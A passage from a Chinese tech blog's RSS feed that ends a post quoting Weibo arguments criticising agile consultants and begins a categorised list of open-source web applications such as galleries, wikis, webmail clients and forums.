这口号听起来就像是要, 从生产关系上和上层建筑着手，解放全世界无产阶级码农。</p></blockquote>\n<p>还有一个朋友回复到（多好的建议）：</p>\n<blockquote><p>@<a href=\"http://weibo.com/yuyijq\">横刀天笑</a> 低层次不干好，就别谈组织的了吧。。。说实话，我喜欢持续改善，讨厌重大变革。喜欢基础实践，讨厌空喊口号。</p></blockquote>\n<h4>后续</h4>\n<p>下面这个微博看来是怒了，敏捷社区，你能告诉我这是为什么吗？</p>\n<blockquote><p><a href=\"http://weibo.com/silentriver\">@陈加兴</a>：所谓“观其言，察其行”，别人的话摘录再多，终究是别人说的话，和你一毛钱关系都没有。言必称“敏捷”，把敏捷搞得跟唐诗三百首似的颠过来倒过去地背，却不知软件中“设计”为何物，我实在不知道这样“没有项目经验如何谈敏捷”？没有一点团队管理经验，却处处指导众生管理团队，真是神仙下凡啊。</p></blockquote>\n<blockquote><p><a href=\"http://weibo.com/n/%E9%99%88%E5%8A%A0%E5%85%B4\">@陈加兴</a>:回复<a href=\"http://weibo.com/n/%E5%BE%90%E6%AF%85-Kaveri\">@徐毅-Kaveri</a>:对事不对人，这种混子行径我唾弃，不点名，因为可以对号入座的人，多着呢。</p></blockquote>\n<p>我也认识很多混子，包括现在或曾在TW里的。</p>\n<p>最后，让我再echo一下前面的话—— <strong>这两个组织里的某些人很相似，都通过宣言来树立价值观，然后通过传教的方式四处宣讲来影响大众并吸收党羽，并要求对其价值观的信仰，还以一种革命者的态度来实践…… </strong>（有几个网友在我这个微博中讨论了很多，<a href=\"http://weibo.com/1401880315/xiFMptHMg\" target=\"_blank\">大家可以去看看</a>。） <span style=\"color: #cc0000;\"><strong>看这些所谓的咨询师、实践者、倡导者有没有料，你就直接和他谈技术实现，谈业务需求，谈产品分析，你就知道他有多少水水了</strong></span>。</p>\n<p><em><strong>————更新2011年8月13日————</strong></em></p>\n<h4>糊弄客户？</h4>\n<p>在微博上看到InfoQ主编+TW咨询师<a href=\"http://weibo.com/n/%E5%BC%A0%E5%87%AF%E5%B3%B0\">@张凯峰</a>同学的一条微博的回复（<a href=\"http://weibo.com/1416875735/xjiafswMq\" target=\"_blank\">原微博在这里</a>）</p>\n<figure id=\"attachment_5152\" aria-describedby=\"caption-attachment-5152\" style=\"width: 458px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-5152\" title=\"张凯峰的微博\" src=\"https://coolshell.cn/wp-content/uploads/2011/08/张凯峰的微博.png\" alt=\"\" width=\"458\" height=\"149\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/08/张凯峰的微博.png 458w, https://coolshell.cn/wp-content/uploads/2011/08/张凯峰的微博-300x98.png 300w\" sizes=\"(max-width: 458px) 100vw, 458px\" /><figcaption id=\"caption-attachment-5152\" class=\"wp-caption-text\">张凯峰的微博：如果客户连需求都说不出一二来，那就太好糊弄了。</figcaption></figure>\n<p>糊弄客户！所以，我可以类推他会说——“<strong>如果你不懂敏捷，那就太好糊弄了</strong>”。这就是TW的咨询师。呵呵。</p>\n<p>接下来，另一个自称“Agile导师”@<a href=\"http://weibo.com/1849127973\">张义军SH</a>说，</p>\n<blockquote><p><a href=\"http://weibo.com/1849127973\">张义军SH</a> 陈浩这次确实有点断章取义了，应该说张凯峰的说法还是很实在的 //<a href=\"http://weibo.com/n/%E5%B7%A6%E8%80%B3%E6%9C%B5%E8%80%97%E5%AD%90\">@左耳朵耗子</a>：回复<a href=\"http://weibo.com/n/%E5%BC%A0%E5%87%AF%E5%B3%B0\">@张凯峰</a>: 糊弄客户?! 看到了吧，InfoQ总编，TW咨询师，真面目暴露出来了吧。//<a href=\"http://weibo.com/n/%E5%BC%A0%E5%87%AF%E5%B3%B0\">@张凯峰</a>:回复 <a href=\"http://weibo.com/n/weidagang\">@weidagang</a>:如果客户连需求都说不出一二来，那就太好糊弄了。</p></blockquote>\n<p>这就很强大啊——我到是想听听这个导师认为的“糊弄”的说法怎么个实在法？于是他回复到：</p>\n<blockquote><p><a title=\"张义军SH\" href=\"http://weibo.com/1849127973\">张义军SH </a>：回复<a href=\"http://weibo.com/n/%E5%B7%A6%E8%80%B3%E6%9C%B5%E8%80%97%E5%AD%90\">@左耳朵耗子</a>: 我是在看整个讨论过程。在客户没有想法没有太多思路时，他说客户容易糊弄我觉得确实如此，评级很实在。但他们后面在深入讨论这个问题，我认为您也应该看看，给一些建设性意见。</p></blockquote>\n<p>呵呵，用户提不出准确的需求这太正常不过了，但是这不代表用户傻，可以糊弄。另外，尤其是那些创新的项目，哪有什么需求，只有一个大概的方向，谁都不知道该做成什么样，我现在做的就是这样的项目。不做个原型，不前期试探一下用户和市场，谁也不知道。</p>\n<p>另外，我想告诉这些人，用户需求提不出来很正常，提偏了也很正常，关键在于我们的需求分析能力。福特汽车公司的创始人说过——“<strong>如果我问用户要什么，他们会告诉我他们要一匹更快的马！</strong>”，<strong>大多数平庸的人都会去饲养“一匹更快的马”，而不是分析需求后了解到用户的需求是——“更快的交通工具”。</strong></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/8209.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/09/fight-150x150.jpg\" alt=\"“单元测试要做多细？”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8209.html\" class=\"wp_rp_title\">“单元测试要做多细？”</a></li><li ><a href=\"https://coolshell.cn/articles/5531.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"Test-Driven Development？别逗了\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5531.html\" class=\"wp_rp_title\">Test-Driven Development？别逗了</a></li><li ><a href=\"https://coolshell.cn/articles/5044.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/07/hat-150x150.jpeg\" alt=\"为什么Scrum不行？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5044.html\" class=\"wp_rp_title\">为什么Scrum不行？</a></li><li ><a href=\"https://coolshell.cn/articles/4891.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"Bob大叔和Jim Coplien对TDD的论战\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4891.html\" class=\"wp_rp_title\">Bob大叔和Jim Coplien对TDD的论战</a></li><li ><a href=\"https://coolshell.cn/articles/3778.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" alt=\"敏捷水管工\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3778.html\" class=\"wp_rp_title\">敏捷水管工</a></li><li ><a href=\"https://coolshell.cn/articles/3745.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg\" alt=\"再谈敏捷和ThoughtWorks中国咨询师\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3745.html\" class=\"wp_rp_title\">再谈敏捷和ThoughtWorks中国咨询师</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5143.html\">在新浪微博上关于敏捷的一些讨论</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/5143.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>54</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>疯狂的 Web 应用开源项目</title>\n\t\t<link>https://coolshell.cn/articles/5132.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/5132.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 11 Aug 2011 00:40:12 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Open Source]]></category>\n\t\t<category><![CDATA[Web]]></category>\n\t\t<category><![CDATA[Webmail]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=5132</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面是一个Web应用的开源列表。没什么可说的，太疯狂了。尤其是Web 2.0那一堆。我不知道你怎么想，有些开源项目的源码写得挺不好的，尤其是性能方面。或许你会以...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/5132.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/5132.html\">疯狂的 Web 应用开源项目</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>下面是一个Web应用的开源列表。没什么可说的，太疯狂了。尤其是Web 2.0那一堆。我不知道你怎么想，有些开源项目的源码写得挺不好的，尤其是性能方面。或许你会以为改一改他们就可以成为为自己所用，不过，改这些开源的项目还真不容易。玩玩还可以。</p>\n<h4>数字媒体</h4>\n<ul>\n<li><strong>相册</strong>（Flickr, Picasa）</li>\n<ul>\n<li><a href=\"http://gallery.menalto.com/\" target=\"_blank\">Gallery</a>，基于PHP + MySQL的Web相册。非常易于使用，包括一个配置向导，对于相片的操作包括自动生成缩略图、相片的大小改变、选择、排序等。</li>\n<li><a title=\"Piwigo\" href=\"http://piwigo.org/\" target=\"_blank\">Piwigo</a>，基于PHP + MySQL。配备了强大的功能，发布和管理您的照片，可扩展性和智能浏览功能，如类别，标签，或年表。这是网络和照片的标准要求。扩展使Piwigo更可扩展性和可定制的。</li>\n<li><a title=\"UberGallery \" href=\"http://www.ubergallery.net/\" target=\"_blank\">UberGallery</a>，一个简单易用的相册。PHP。不需要数据库。</li>\n<li><a title=\"Zenphoto\" href=\"http://www.zenphoto.org/\" target=\"_blank\">Zenphoto</a>，一个简单的web相册程序,它能够简单的展示你的图片，并含有你所需要的所有功能和特点。可以和Wordpress集成。</li>\n</ul>\n</ul>\n<ul>\n<li><strong>视频</strong>（YouTube）</li>\n<ul>\n<li><a title=\"Flowplayer\" href=\"http://www.flowplayer.org/\" target=\"_blank\">Flowplayer</a>，一个用Flash开发的在Web上的视频播放器，可以很容易将它集成在任何的网页上。支持HTTP以及流媒体传输。</li>\n<li><a title=\"Plumi\" href=\"http://blog.plumi.org/\" target=\"_blank\">Plumi</a>，一个建立在Plone 内容管理系统上的视频分享系统，可帮助你轻松建立视频分享网站。</li>\n</ul>\n</ul>\n<div><span id=\"more-5132\"></span></div>\n<ul>\n<li><strong>音乐电台社区</strong>（last.fm, ulike）</li>\n<ul>\n<li><a title=\"Libre.fm\" href=\"http://libre.fm/\" target=\"_blank\">Libre.fm</a>，对Last.fm 的克隆。</li>\n</ul>\n</ul>\n<ul>\n<li><strong>视频电影社区</strong>（netflix, criticker）</li>\n<ul>\n<li><a href=\"http://filmaster.com/\" target=\"_blank\">Filmaster</a>，fileaster.com的源码。</li>\n</ul>\n</ul>\n<ul>\n<li><strong>书</strong>（LibraryThing, Shelfari, Goodreads）</li>\n<ul>\n<li><a href=\"http://bookworm.oreilly.com/\" target=\"_blank\">O&#8217;Reilly Bookworm</a>，在线电子图书阅读。</li>\n</ul>\n</ul>\n<ul>\n<li><strong>期刊参考论文数据库</strong>（Emerald Insight, Springer Link）</li>\n<ul>\n<li><a title=\"CiteSeerX\" href=\"http://citeseerx.ist.psu.edu/\" target=\"_blank\">CiteSeerX</a>，采用机器自动识别技术搜集网上以Postscrip和PDF文件格式存在的学术论文，然后依照引文索引方法标引和链接每一篇文章。（其是CiteSeer的换代产品。1997年，CiteSeer引文搜索引擎由NEC公司在美国普林斯顿研究所的三位研究人员Steve Lawrence, Lee Giles和Kurt Bollacker研制开发。它是利用自动引文标引系统ACI（Autonomous Citation Indexing）建立的第一个科学文献数字图书馆（Scientific Literature Digital Library））。</li>\n</ul>\n</ul>\n<ul>\n<li><strong>地图</strong>（Google Maps）</li>\n<ul>\n<li><a title=\"Openstreetmap\" href=\"http://www.openstreetmap.org/\" target=\"_blank\">OpenStreetMap</a>，一个可供自由编辑的世界地图，它是由所有的用户创造的。<wbr><em>OpenStreetMap</em>允许您查看，编辑或者使用世界各地的地理数据来帮助您。其就像Wikipedia一样，全世界的人都可以编辑，据说其上面的数据超过了政府的数据。当然，目前其参与的人数还不够，大量的地方都是白板。<br />\n</wbr></li>\n</ul>\n</ul>\n<h4>文件存储</h4>\n<ul>\n<li><strong>文件共享/同步</strong>（DropBox, drop.io, Ubuntu One）</li>\n<ul>\n<li><a title=\"Tahoe Least-Authority Filesystem\" href=\"http://tahoe-lafs.org/trac/tahoe-lafs/\" target=\"_blank\">Tahoe Least-Authority Filesystem</a>，一个云存储分布式文件系统。</li>\n<li><a title=\"IFolder\" href=\"http://www.kablink.org/ifolder/\" target=\"_blank\">iFolder</a>，一个简单安全的存储解决方案，可在计算机间文件的同步和分享。可以用来随时备份本地的文件。</li>\n</ul>\n</ul>\n<ul>\n<li><strong>存储</strong>（Amazon S3, Imageshack, Box, Variety of models）</li>\n<ul>\n<li><a href=\"http://search.cpan.org/~jesse/Prophet-0.72/\" rel=\"nofollow\">Jesse Vincent&#8217;s Prophet</a>，你可以看看他的<a href=\"http://search.cpan.org/~jesse/Prophet-0.72/lib/Prophet/Manual.pod\" target=\"_blank\">文档介绍</a>吧。</li>\n</ul>\n</ul>\n<ul>\n<li><strong>在线文件编辑</strong>（Google Docs）</li>\n<ul>\n<li><a title=\"Abiword\" href=\"https://abicollab.net/\" target=\"_blank\">AbiCollab</a>，基于AbiWord的社群的线上文书处理协作服务。</li>\n<li><a title=\"Etherpad\" href=\"http://etherpad.org/\" target=\"_blank\">Etherpad</a>，基于开放软体的线上文书处理服务，最大的特色在于多人即时共同协作一份文件，软体组织不直接提供服务，而是透过其他没有连系的组织网站提供。</li>\n</ul>\n</ul>\n<ul>\n<li><strong>虚拟机供应</strong>（Amazon EC2）</li>\n<ul>\n<li><a title=\"Eucalyptus (computing)\" href=\"http://www.open.eucalyptus.com/\" target=\"_blank\">Eucalyptus (computing)</a>，是一用来通过计算集群或工作站群实现弹性的、实用的云计算。它最初是美国加利福尼亚大学 Santa Barbara 计算机科学学院的一个研究项目，现在已经商业化，发展成为了 Eucalyptus Systems Inc。不过，Eucalyptus 仍然按开源项目那样维护和开发。Eucalyptus Systems 还在基于开源的 Eucalyptus 构建额外的产品；它还提供支持服务。</li>\n<li><a title=\"Globus Toolkit\" href=\"http://www.globus.org/\" target=\"_blank\">Globus Toolkit</a>，Globus项目工具包，其可以在计算机上提供稳定、安全和对等网络的分布式运算，集群和其它高性能系统功能。</li>\n<li><a href=\"http://www.opennebula.org/\" rel=\"nofollow\">OpenNebula</a>，一个虚拟基础设备引擎， 用来动态布署虚拟机器在一群实体资源上，OpenNEbula 最大的特色在于将虚拟平台从单一实体机器到一群实体资源。</li>\n</ul>\n</ul>\n<h4>内容服务</h4>\n<div>\n<ul>\n<li><strong>Wiki</strong>（Wikispaces）</li>\n<ul>\n<li><a href=\"http://www.dokuwiki.org/dokuwiki/\" rel=\"nofollow\">Dokuwiki</a>，一个针对小公司文件需求而开发的Wiki引擎。DokuWiki是用程序设计语言PHP开发的并以GPL 2发布。DokuWiki基于文本存储，所以不需要数据库，其数据文件在Wiki系统外也是可读的。DokuWiki的功能齐全，支持UTF-8，最新版支持中文链接。能够单独编辑页面中的某个章节，能够自动生成目录，适合中小企业、个人使用，用作资料归档、指南、读书笔记等。DokuWiki安装很简单，默认提供配置工具。</li>\n<li><a title=\"Mediawiki\" href=\"http://www.mediawiki.org/wiki/MediaWiki/\" target=\"_blank\">Mediawiki</a>，是一套基于网络的Wiki引擎，维基媒体基金会的所有项目乃至众多wiki网站皆采用了这一软件。MediaWiki软件最初是为自由内容百科全书维基百科所开发，今日已被一些公司机构部署为内部的知识管理和内容管理系统。Novell甚而还在多个高流量的网站中使用了该软件。</li>\n<li><a href=\"https://github.com/rongarret/microWiki/\" rel=\"nofollow\">μWiki</a>，一个小巧而功能齐全的wiki，所有的代码才3500行，可通过facebook和openID认证。</li>\n</ul>\n</ul>\n<ul>\n<li><strong>出版</strong></li>\n<ul>\n<li><a href=\"http://www.topazproject.org/trac/\" rel=\"nofollow\">Topaz</a></li>\n<li><a href=\"http://www.ambraproject.org/\" rel=\"nofollow\">Ambra</a>，是一个期刊管理与发布系统。它具有一个高容量、高效、经济的系统来在所有科学领域发表研究文章。</li>\n<li><a href=\"http://pkp.sfu.ca/?q=ojs/\" rel=\"nofollow\">Open Journal Systems</a>，简称OJS，此系统是一个开源码的期刊管理与出版软件，由公共知识项目(PKP; Public Knowledge Project)研发与支持。（<a href=\"http://www.chinajol.info\" target=\"_blank\">中国肺癌杂志</a>使用了这个系统）</li>\n</ul>\n</ul>\n<ul>\n<li><strong>Blog</strong></li>\n<ul>\n<li><a href=\"http://wordpress.org/\" rel=\"nofollow\">WordPress</a>，这个不用说了吧。</li>\n<li><a href=\"http://www.livejournal.com/\" rel=\"nofollow\">LiveJournal</a>，一个综合型SNS交友网站，有论坛，博客等功能，Brad Fitzpatrick始建于1999年4月15日，目的是为了与同学保持联系，之后发展为大型网络社区平台，是网友聚集的好地方，<em>LJ</em>支持多国语言，<em>ALEXA</em>综合排名84 ，日均访客可达6,288,000以上</li>\n</ul>\n</ul>\n<ul>\n<li><strong>微博</strong> （Twitter）</li>\n<ul>\n<li><a href=\"http://jisko.org/\" target=\"_blank\">Jisko</a>，界面和Twitter很像，集成Twitter同步功能，它能够自动将你在Jisko平台上发布的内容发表到您的Twitter账户上。也能够自动读取您的Twitter更新，但是并不能将这些内容发布到Jisko平台，只能在自己的好友Timeline里查看。Jisko平台还能够连接您的Jabber/GTalk账户，让您通过IM发帖。并且有数个缩链服务供选择，十分实用。</li>\n<li><a href=\"http://www.jaiku.com/\" rel=\"nofollow\">Jaiku Engine</a>，Google曾经收购的类Twitter平台Jaiku现在已经完全开源并且切换AppEngine上运行，早前Google曾经宣布停止Jaiku等项目的维护和开发，现在更将Jaiku完全开源提供用户免费下载，所有人都可以在自己的主机上建立和运行自己的Jaiku应用了。</li>\n<li><a href=\"http://status.net/\" rel=\"nofollow\">Status.net</a>，一个开源微博服务。同时，它又可将信息同步到Twitter。所以我们也可以把它理解为“开源的Twitter客户端”。但它与客户端又有本质的不同：拥有自己的数据库，只是把数据同步到推特而已。</li>\n</ul>\n</ul>\n<ul>\n<li><strong>网页访问量统计</strong>（Google Analytics）</li>\n<ul>\n<li><a title=\"Piwik\" href=\"http://en.wikipedia.org/wiki/Piwik\">Piwik</a>，一套基于Php+MySQL技术构建，能够与Google Analytics相媲美的开源网站访问统计系统，前身是phpMyVisites。Piwik可以给你详细的统计信息，比如网页浏览人数, 访问最多的页面, 搜索引擎关键词等等，并且采用了大量的AJAX/Flash技术，使得在操作上更加便易。此外，它还采用了插件扩展及开放API架构，可以让开发人员根据自已的实际需求创建更多的功能．</li>\n<li><a href=\"http://www.openwebanalytics.com/\" target=\"_blank\">Open Web Analytics</a>，一个开源的网站流量统计系统。基于PHP/Open Flash Chart/Ajax技术开发，既可以单独使用也可以与WordPress、Gallery&amp;MediaWiki集成使用。支持多个网站，集成Google Maps，RSS/Atom订阅跟踪等功能。</li>\n</ul>\n</ul>\n<ul>\n<li><strong>虚拟主机平台</strong>（Google AppEngine）</li>\n<ul>\n<li><a href=\"http://code.google.com/p/appscale/\" rel=\"nofollow\">AppScale</a>，是一个平台，允许用户发布和托管自己的 Google App Engine 的应用程序。支持 Python, Java, and Go Google App Engine 平台。</li>\n</ul>\n</ul>\n<ul>\n<li><strong>办公</strong>（Google Docs）</li>\n<ul>\n<li><a href=\"http://www.zimbra.com/products/zimbra-open-source.html\" rel=\"nofollow\">Zimbra Collaboration Suite</a>，其英文缩写为ZCA。全功能的通信及协作办公应用程序，提供可靠和高效能的邮件、地址簿、效率手册、任务列表以及网络文档制作功能。</li>\n<li><a href=\"http://www.phpgroupware.org/\" rel=\"nofollow\">PHPGroupware</a>，功能强大，基于Web的Messaging ，Collaboration和企业管理平台。<wbr><em>phpGroupWare</em>包含50多个模块可根据你的需求进行搭配与组合。它提供了约50种基于网络的应用，有日历，通讯录，先进的项目经理，待办事项列表，笔记，电子邮件，新闻组和新闻阅读器，一个文件管理器和更多应用。</wbr></li>\n<li><a href=\"http://fengoffice.com/web/index.php/\" rel=\"nofollow\">OpenGoo,Fengoffice</a>，基于ExtJs+XAMP（Apache、PHP、MySQL）开发的开源web office。它具备了主流在线协作系统所应具备的所有功能，包括任务管理、日程管理、文件管理、联系人管理以及email收发功能。其文件管理模块，实现了文件版本管理的功能，能够方便的查找、下载同一文件的不同版本。适用于任何单位或个人创建，共享，协作维护和发布它们所有内部与外部文档。</li>\n<li><a href=\"http://crabgrass.riseuplabs.org/\" rel=\"nofollow\">Crabgrass</a>，社会网络，小组协作，网络组织的Web应用程序。它由一组协作工具固体套件，如私人维基，任务列表，文件库，和决策工具。程序目前正在做了大量的用户界面改革，更完善的社会网络工具，博客和活动日程，以及更好的协作和决策制定各独立团体的支持。</li>\n<li><a href=\"http://etherpad.org/\" rel=\"nofollow\">Etherpad</a>，由两位Google 前员工所开发，已被Google 收购成为开放原始码项目。主要功能是让多个使用者透过网路来共同编辑一份文件，与先前介绍过的Sync.in 好用的线上即时文件协作平台类似。EtherPad 无须注册就能使用，建立文件后会产生一个网址，其它用户可以透过该网址与你编辑同一份文件，并标记出不同用户所编辑的位置，也有提供汇入汇出及时间轴等功能。</li>\n</ul>\n</ul>\n<h4>Groupware群件</h4>\n</div>\n<div>\n<ul>\n<li><strong>Webmail</strong> (gmail, hotmail)</li>\n<ul>\n<li><a href=\"http://www.zimbra.com/\" rel=\"nofollow\">Zimbra</a>，强大的开源协同办公套件包括WebMail，日历，通信录，Web文档管理和创作。它最大的特色在于其采用Ajax技术模仿CS桌面应用软件的风格开发的客户端兼容Firefox,Safari和IE浏览器。</li>\n<li><a href=\"http://roundcube.net/\" rel=\"nofollow\">Roundcube</a>，支持多国语言的IMAP客户端，操作界面看起像一个桌面应用程序。它提供一个e-mail客户端应该具备的所有功能包括MIME支持,地址薄，文件夹操作，信息搜索和拼写检查。RoundCube Webmail采用PHP+Ajax开发并且需要MySQL数据库来存储数据。 用户界面采用XHTML+CSS2设计。</li>\n<li><a href=\"http://www.conjoon.org/\" rel=\"nofollow\">conjoon</a>，基于Ext JS+PHP/MySQL开发的Webmail和RSS客户端阅读器。<wbr>此外还包含一个联系人管理模块。</wbr></li>\n<li><a href=\"http://www.tdah.us/\" rel=\"nofollow\">Tdah</a>，一个PHP Webmail系统。该系统采用POP3协议收邮件，可以配置使用SMTP、PHP mail、Sendmail或Qmail来发送邮件。T-dah还包含以下几个模块：事件日历、群组聊天、文件夹管理、邮件搜索等。T-dah使用 TinyMCE WYSIWYG编辑器来创建新邮件。</li>\n<li><a href=\"https://funambol.com/\" rel=\"nofollow\">Funambol</a>，世界领先的开源云同步和PUSHMAIL工具，支持诸多手提移动设备，包括苹果、黑莓、Android、Windows Mobile、索爱、三星、诺基亚等20余款。</li>\n<li><a href=\"http://www.hastymail.org/\" rel=\"nofollow\">Hastymail</a>，一个使用方便快捷、安全，跨平台的IMAP/SMTP客户端。采用PHP语言编写，<wbr>运行于PHP+MYSQL平台环境。提供一个简洁的Web界面来发送和读取E-mail。</wbr></li>\n<li><a href=\"http://www.xuheki.com/\" rel=\"nofollow\">Xuheki</a>，一个很快的IMAP 使用AJAX 技术开发的客户端。你能想到的功能它基本上都有了。</li>\n<li><a href=\"http://www.claros.org/\" rel=\"nofollow\">Claros</a>，一个比较简单的，采用pop3/smtp收发邮件的<em>webMail</em>系统。不需要数据库的支持。提供一个独立于SMTP服务器的垃圾邮件过滤机制。</li>\n</ul>\n</ul>\n<ul>\n<li><strong>Email 服务器</strong>（MS Exchange）</li>\n<ul>\n<li><a href=\"http://archiveopteryx.org/\" rel=\"nofollow\">Archiveopteryx</a>，一个互联网归档邮件服务器，支持强大的归档功能。可以运行在Linux, FreeBSD, NetBSD, OpenBSD 和 Mac OS X。</li>\n<li><a href=\"http://roundcube.net/\" rel=\"nofollow\">Roundcube</a>，提供一个e-mail客户端应该具备的所有功能包括MIME支持,地址薄，文件夹操作，信息搜索和拼写检查。RoundCube Webmail采用PHP+Ajax开发并且需要MySQL数据库来存储数据。 用户界面采用XHTML+CSS2设计。</li>\n<li><a href=\"http://www.squirrelmail.org/\" rel=\"nofollow\">Squirrelmail</a>，一款由PHP语言编写，基于标准的webmail软件包。它包括内建的纯PHP支持的IMAP和SMTP协议，所生成的页面绝对支持HTML4.0标准(无需JavaScript支持)，这样可以运行在更多的平台和更多的浏览器上。它的系统安装要求非常低，但是非常容易安装和配置。SquirrelMail拥有你的客户端邮件程序所拥有的一切，比如增强型的MIME支持、地址薄、文件夹操作等等功能。</li>\n<li><a href=\"http://www.horde.org/\" rel=\"nofollow\">Horde Groupware Suite</a>，一个强大的邮件办公套件。</li>\n</ul>\n</ul>\n<ul>\n<li><strong>邮件列表</strong> （Google Groups, Yahoo Groups）</li>\n<ul>\n<li><a href=\"http://www.freelists.org/\" rel=\"nofollow\">Freelists</a></li>\n<li><a href=\"http://www.gnu.org/software/mailman/index.html\" rel=\"nofollow\">Mailman</a>，管理电子信箱讨论和自由软件电子通讯清单。 支持内置的归档，自动退回处理，内容过滤，消化交货，垃圾邮件过滤器等。</li>\n</ul>\n</ul>\n<ul>\n<li><strong>论坛</strong> （vBulletin）（注：国内的主要是用Discuz!）</li>\n<ul>\n<li><a href=\"http://www.phpbb.com/\" rel=\"nofollow\">phpBB</a>，中文的在这里<a href=\"http://www.phpbbchina.com/\">http://www.phpbbchina.com</a></li>\n<li><a href=\"http://www.phorum.org/\" rel=\"nofollow\">Phorum</a>，基于PHP+MySQL开发的开源论坛项目。它的特点是速度快，功能强大，面向模块化设计，安装简单。此外Phorum还集成电子报。</li>\n<li><a href=\"http://www.vanillaforums.org/\" rel=\"nofollow\">Vanilla</a>，是很多外国牛人都在用的一款开源论坛程序，它不像我们熟知的phpBB之类的或是类似我国discuz，phpwind的模式，而是采取了全新的内核和界面，界面类似于stackflow，所以用它来做一个社交性的问答网站也是个不错的选择。</li>\n<li><a href=\"http://sourceforge.net/projects/ospo/\" target=\"_blank\">Ospo</a>，是一项开源社交门户站点方案。它拥有标准功能（添加、删除好友，前十排行榜），论坛整合、音乐模块（带有艺术家目录的专辑和歌曲）、广播心情整合、日志（添加、删除、修改、检查）等等众多功能。</li>\n</ul>\n</ul>\n<ul>\n<li><strong>日历</strong>（cf, 30boxes, Google calendars, ScheduleWorld）</li>\n<ul>\n<li><a href=\"http://www.zimbra.com/products/zimbra-open-source.html\" rel=\"nofollow\">Zimbra Collaboration Suite</a>，功能的通信及协作办公应用程序，提供可靠和高效能的邮件、地址簿、效率手册、任务列表以及网络文档制作功能。</li>\n<li><a href=\"http://www.k5n.us/webcalendar.php/\" rel=\"nofollow\">Web Calendar</a>，一款漂亮的Flash日历，可以添加在网页上，它可以高亮显示事件，会议，节假日的日期。</li>\n<li><a href=\"https://www.forge.funambol.org/DomainHome.html\" rel=\"nofollow\">Funambol</a>，世界领先的开源云同步和PUSHMAIL工具，支持诸多手提移动设备，包括苹果、黑莓、Android、Windows Mobile、索爱、三星、诺基亚等20余款。</li>\n<li><a href=\"https://dev.joyent.com/projects/connector/wiki/Connector/\" rel=\"nofollow\">Joyent Connector</a>，免费提供Office 2.0的功能，如团队电子邮件、日程安排、相互联系、<wbr>文档和书签。</wbr></li>\n<li><a href=\"http://www.horde.org/apps/kronolith/\" rel=\"nofollow\">Horde Groupware Suite</a>，协同办公套件。</li>\n</ul>\n</ul>\n<ul>\n<li><strong>会议和评审管理</strong></li>\n<ul>\n<li><a href=\"http://www.openconf.com/\" rel=\"nofollow\">Openconf</a>，开源的会议管理系统，主要提供以下功能：电子提交、评审、论文答辩，以及会议主席对整个过程的管理等。</li>\n<li><a href=\"http://myreview.lri.fr/\" rel=\"nofollow\">MyReview</a>，学术会议的论文提交和论文评审。</li>\n<li><a href=\"http://www.easychair.org/\" rel=\"nofollow\">EasyChair</a>，会议管理系统。</li>\n<li><a href=\"http://borbala.com/cyberchair/\" rel=\"nofollow\">CyberChair</a>，论文提交和评审系统。</li>\n<li><a href=\"http://lasecwww.epfl.ch/iChair/\" 